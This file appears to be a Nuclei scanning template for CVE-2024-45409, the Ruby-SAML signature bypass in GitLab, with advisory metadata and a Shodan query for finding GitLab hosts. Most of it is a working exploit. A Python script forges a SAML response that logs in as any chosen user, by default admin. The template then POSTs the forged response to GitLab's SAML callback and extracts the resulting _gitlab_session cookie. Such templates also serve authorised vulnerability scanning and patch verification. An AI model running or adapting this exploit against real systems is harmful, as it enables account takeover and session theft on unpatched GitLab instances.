id: CVE-2024-45409 info: name: GitLab - SAML Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response. impact: | An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system. remediation: | This vulnerability is fixed in 1.17.0 and 1.12.3. reference: - https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/ - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2 - https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-45409 cwe-id: CWE-347 metadata: verified: true shodan-query: http.title:"GitLab" product: gitlab vendor: gitlab tags: cve,cve2024,saml,auth-bypass,gitlab,code code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | try: from lxml import etree except ImportError: raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.") import hashlib,os import base64 from datetime import datetime, timedelta import urllib.parse import requests username = os.getenv('username') if not username: username='admin@example.com' saml_response = os.getenv('SAMLResponse') xml_content = base64.b64decode(urllib.parse.unquote(saml_response)) parser = etree.XMLParser(remove_blank_text=True) root = etree.fromstring(xml_content, parser) namespaces = { 'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol', 'saml': 'urn:oasis:names:tc:SAML:2.0:assertion', 'ds': 'http://www.w3.org/2000/09/xmldsig#' } response_signature = root.find('./ds:Signature', namespaces) if response_signature is not None: root.remove(response_signature) nameid = root.find( './/saml:NameID', namespaces ) if nameid is not None: nameid.text = username attribute_values = root.findall('.//saml:AttributeValue', namespaces) for attr_value in attribute_values: attr_value.text = username assertion = root.find('.//saml:Assertion', namespaces) if assertion is not None: # Create a deep copy of the assertion for digest calculation assertion_copy = etree.fromstring(etree.tostring(assertion)) signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces) if signature_in_assertion is not None: signature_in_assertion.getparent().remove(signature_in_assertion) canonicalized_assertion = etree.tostring( assertion_copy, method='c14n', exclusive=True, with_comments=False ) digest = hashlib.sha256(canonicalized_assertion).digest() digest_value = base64.b64encode(digest).decode() else: digest_value = '' issuer = root.find('.//saml:Issuer', namespaces) if issuer is not None: parent = issuer.getparent() index = parent.index(issuer) extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions') digest_element = etree.SubElement( extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue' ) digest_element.text = digest_value parent.insert(index + 1, extensions) malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring( root, pretty_print=False, xml_declaration=True, encoding='UTF-8' )))) print(malformed_samlresponse) http: - raw: - | POST /users/auth/saml/callback HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded RelayState=undefined&SAMLResponse={{code_response}} matchers: - type: dsl dsl: - 'contains(header,"known_sign_in")' - 'status_code == 302' condition: and extractors: - type: kval kval: - _gitlab_session # digest: 4b0a00483046022100aac3014dc61bab8223d36c1bd10f19aa4886b33778e2b16cf891fce7f7c24bee022100a42cd0b25c8f4a54304541ca26f508284772b55881c43962eb396092205425ff:922c64590222798bb761d5b6d8e72950